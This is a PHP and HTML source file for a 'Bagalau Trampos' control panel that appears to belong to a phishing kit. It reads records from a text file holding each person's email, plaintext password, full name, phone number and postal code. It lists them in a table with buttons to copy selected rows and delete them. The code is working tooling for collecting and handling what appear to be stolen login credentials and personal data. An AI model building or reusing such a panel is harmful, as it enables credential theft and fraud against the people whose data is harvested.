<?php
require_once '../security/security.php';
require_once 'auth.php';

// Função para ler os registros do arquivo
function lerRegistros() {
    $arquivo = __DIR__ . '/../Site/dados.txt';
    if (!file_exists($arquivo)) {
        return [];
    }
    
    $registros = [];
    $linhas = file($arquivo, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
    
    foreach ($linhas as $linha) {
        if (empty(trim($linha))) continue;
        
        // Verifica se é uma linha de separação
        if (preg_match('/^-{20,}$/', trim($linha))) continue;
        
        // Extrai os dados do formato específico
        if (preg_match('/Data: (.+)/i', $linha, $matches)) {
            $registro['data'] = trim($matches[1]);
        }
        elseif (preg_match('/Usuário: (.+)/i', $linha, $matches)) {
            $registro['email'] = trim($matches[1]);
        }
        elseif (preg_match('/Senha: (.+)/i', $linha, $matches)) {
            $registro['senha'] = trim($matches[1]);
        }
        elseif (strpos($linha, '|') !== false) {
            $partes = explode('|', $linha);
            foreach ($partes as $parte) {
                if (preg_match('/Nome: (.+)/i', $parte, $matches)) {
                    $registro['nome'] = trim($matches[1]);
                }
                elseif (preg_match('/Telefone: (.+)/i', $parte, $matches)) {
                    $registro['telefone'] = trim($matches[1]);
                }
                elseif (preg_match('/CEP: (.+)/i', $parte, $matches)) {
                    $registro['cep'] = trim($matches[1]);
                    // Quando encontramos o CEP, significa que temos um registro completo
                    if (!empty($registro['data']) && !empty($registro['email'])) {
                        $registros[] = $registro;
                    }
                    // Reinicia o registro para o próximo
                    $registro = [];
                }
            }
        }
    }
    
    return $registros;
}

$registros = lerRegistros();
$total = count($registros);
?>
<!DOCTYPE html>
<html lang="pt">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Painel de Controle - Bagalau Trampos</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/css/bootstrap.min.css" rel="stylesheet">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.css">
    <style>
        :root {
            --dark-blue: #1C2B3D;
            --orange: #FF6C0E;
        }
        
        body {
            margin: 0;
            padding: 0;
            font-family: Arial, sans-serif;
            background-color: #f5f5f5;
        }
        
        .top-bar {
            background-color: var(--dark-blue);
            padding: 20px 0;
            text-align: center;
            border-bottom: 3px solid var(--orange);
        }
        
        .top-bar img {
            height: 60px;
        }
        
        .top-bar h1 {
            color: white;
            margin: 10px 0 0;
            font-size: 24px;
        }
        
        .header {
            background-color: var(--dark-blue);
            padding: 15px;
            display: flex;
            justify-content: space-between;
            align-items: center;
        }
        
        .header img {
            height: 30px;
        }
        
        .header .title {
            color: white;
            display: flex;
            align-items: center;
            gap: 10px;
            font-size: 18px;
        }
        
        .header .btn-sair {
            background: none;
            border: 1px solid white;
            color: white;
            padding: 5px 20px;
            border-radius: 4px;
            text-decoration: none;
        }
        
        .header .btn-sair:hover {
            background: rgba(255,255,255,0.1);
        }
        
        .menu {
            background-color: var(--dark-blue);
            width: 250px;
            min-height: calc(100vh - 185px);
            padding: 20px;
            float: left;
        }
        
        .menu h2 {
            color: white;
            font-size: 18px;
            margin-bottom: 20px;
            padding-bottom: 10px;
            border-bottom: 1px solid rgba(255,255,255,0.1);
        }
        
        .menu-item {
            color: white;
            text-decoration: none;
            display: block;
            padding: 10px;
            margin-bottom: 5px;
        }
        
        .menu-item.active {
            background-color: var(--orange);
            border-radius: 4px;
        }
        
        .content {
            margin-left: 250px;
            padding: 20px;
        }
        
        .content h2 {
            color: #333;
            margin-bottom: 20px;
        }
        
        .stats-card {
            background: white;
            padding: 20px;
            border-radius: 8px;
            margin-bottom: 30px;
            box-shadow: 0 2px 4px rgba(0,0,0,0.1);
        }
        
        .stats-card h3 {
            margin: 0 0 10px;
            color: #666;
        }
        
        .stats-card .number {
            font-size: 36px;
            color: #333;
            font-weight: bold;
        }
        
        .table-container {
            background: white;
            padding: 20px;
            border-radius: 8px;
            box-shadow: 0 2px 4px rgba(0,0,0,0.1);
            margin-top: 20px;
        }
        
        .table-header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 20px;
        }
        
        .table-header h3 {
            margin: 0;
            color: #333;
        }
        
        .table {
            margin-bottom: 0;
        }
        
        .table th {
            background-color: #f8f9fa;
            font-weight: 600;
        }
        
        .table td, .table th {
            vertical-align: middle;
        }
        
        .form-check {
            margin: 0;
        }
        
        .btn:disabled {
            cursor: not-allowed;
            opacity: 0.6;
        }
        
        .btn i {
            margin-right: 5px;
        }
        
        .table thead th {
            background-color: #f8f9fa;
        }
        
        .form-check-input {
            cursor: pointer;
        }
        
        .btn-toolbar {
            margin-bottom: 20px;
        }
    </style>
</head>
<body>
    <div class="top-bar">
        <img src="./img/dashboard/logo.png" alt="Bagalau Trampos">
        <h1>Bagalau Trampos - Cpanel</h1>
    </div>

    <div class="header">
        <div class="title">
            <img src="./img/dashboard/logo.png" alt="Bagalau Trampos">
            <span>Painel de Controle</span>
        </div>
        <a href="logout.php" class="btn-sair">Sair</a>
    </div>

    <div class="menu">
        <h2>Menu</h2>
        <a href="dashboard.php" class="menu-item active">Painel</a>
        <a href="logout.php" class="menu-item">Sair</a>
    </div>

    <div class="content">
        <h2>Painel de Controle</h2>

        <div class="stats-card">
            <h3>Total de Registros</h3>
            <div class="number"><?php echo $total; ?></div>
        </div>

        <div class="table-container">
            <div class="d-flex justify-content-between align-items-center mb-3">
                <h3>Registros Detalhados</h3>
                <div class="btn-toolbar">
                    <button type="button" class="btn btn-danger me-2" id="btnExcluir" disabled>
                        <i class="fas fa-trash-alt"></i> Excluir
                    </button>
                    <button type="button" class="btn btn-primary" id="btnCopiar" disabled>
                        <i class="fas fa-copy"></i> Copiar
                    </button>
                </div>
            </div>

            <table class="table">
                <thead>
                    <tr>
                        <th>
                            <div class="form-check">
                                <input type="checkbox" class="form-check-input" id="selectAll">
                            </div>
                        </th>
                        <th>Data</th>
                        <th>Usuário</th>
                        <th>Senha</th>
                        <th>Nome Completo</th>
                        <th>Telefone</th>
                        <th>CEP</th>
                    </tr>
                </thead>
                <tbody>
                    <?php foreach($registros as $registro): ?>
                    <tr>
                        <td>
                            <div class="form-check">
                                <input type="checkbox" class="form-check-input select-item" value="<?php echo htmlspecialchars($registro['email']); ?>">
                            </div>
                        </td>
                        <td><?php echo htmlspecialchars($registro['data']); ?></td>
                        <td><?php echo htmlspecialchars($registro['email']); ?></td>
                        <td><?php echo htmlspecialchars($registro['senha']); ?></td>
                        <td><?php echo htmlspecialchars($registro['nome']); ?></td>
                        <td><?php echo htmlspecialchars($registro['telefone']); ?></td>
                        <td><?php echo htmlspecialchars($registro['cep']); ?></td>
                    </tr>
                    <?php endforeach; ?>
                </tbody>
            </table>
        </div>
    </div>

    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/js/bootstrap.bundle.min.js"></script>
    
    <script>
        document.addEventListener('DOMContentLoaded', function() {
            const selectAllCheckbox = document.getElementById('selectAll');
            const itemCheckboxes = document.getElementsByClassName('select-item');
            const btnExcluir = document.getElementById('btnExcluir');
            const btnCopiar = document.getElementById('btnCopiar');
            
            // Função para atualizar estado dos botões
            function updateButtonStates() {
                const anyChecked = Array.from(itemCheckboxes).some(cb => cb.checked);
                btnExcluir.disabled = !anyChecked;
                btnCopiar.disabled = !anyChecked;
            }
            
            // Event listener para o checkbox "Selecionar Todos"
            selectAllCheckbox.addEventListener('change', function() {
                Array.from(itemCheckboxes).forEach(cb => {
                    cb.checked = this.checked;
                });
                updateButtonStates();
            });
            
            // Event listeners para os checkboxes individuais
            Array.from(itemCheckboxes).forEach(cb => {
                cb.addEventListener('change', updateButtonStates);
            });
            
            // Event listener para o botão Copiar
            btnCopiar.addEventListener('click', function() {
                const selectedData = [];
                Array.from(itemCheckboxes).forEach(cb => {
                    if (cb.checked) {
                        const row = cb.closest('tr');
                        const cells = Array.from(row.cells).slice(1); // Ignora a primeira célula (checkbox)
                        selectedData.push(cells.map(cell => cell.textContent.trim()).join('\t'));
                    }
                });
                
                if (selectedData.length > 0) {
                    const textArea = document.createElement('textarea');
                    textArea.value = selectedData.join('\n');
                    document.body.appendChild(textArea);
                    textArea.select();
                    
                    try {
                        document.execCommand('copy');
                        alert('Dados copiados com sucesso!');
                    } catch (err) {
                        alert('Erro ao copiar dados: ' + err);
                    }
                    
                    document.body.removeChild(textArea);
                }
            });
            
            // Event listener para o botão Excluir
            btnExcluir.addEventListener('click', function() {
                if (!confirm('Tem certeza que deseja excluir os registros selecionados?')) {
                    return;
                }
                
                const selectedEmails = Array.from(itemCheckboxes)
                    .filter(cb => cb.checked)
                    .map(cb => cb.value);
                
                if (selectedEmails.length > 0) {
                    const xhr = new XMLHttpRequest();
                    xhr.open('POST', 'delete_records.php', true);
                    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
                    
                    xhr.onload = function() {
                        if (xhr.status === 200) {
                            try {
                                const response = JSON.parse(xhr.responseText);
                                if (response.success) {
                                    // Remove as linhas selecionadas
                                    Array.from(itemCheckboxes)
                                        .filter(cb => cb.checked)
                                        .forEach(cb => {
                                            const row = cb.closest('tr');
                                            if (row) row.remove();
                                        });
                                    
                                    // Atualiza o contador
                                    const totalElement = document.querySelector('.stats-card .number');
                                    if (totalElement) {
                                        const newTotal = document.getElementsByClassName('select-item').length;
                                        totalElement.textContent = newTotal;
                                    }
                                    
                                    // Reseta o estado dos botões
                                    selectAllCheckbox.checked = false;
                                    updateButtonStates();
                                    
                                    alert('Registros excluídos com sucesso!');
                                } else {
                                    alert('Erro ao excluir registros: ' + response.message);
                                }
                            } catch (e) {
                                console.error('Erro ao processar resposta:', e);
                                alert('Erro ao processar resposta do servidor');
                            }
                        } else {
                            console.error('Erro HTTP:', xhr.status);
                            alert('Erro ao comunicar com o servidor');
                        }
                    };
                    
                    xhr.onerror = function() {
                        console.error('Erro na requisição XHR');
                        alert('Erro ao comunicar com o servidor');
                    };
                    
                    const formData = new URLSearchParams();
                    formData.append('emails', JSON.stringify(selectedEmails));
                    xhr.send(formData.toString());
                }
            });
            
            // Inicializa o estado dos botões
            updateButtonStates();
        });
    </script>
</body>
</html>
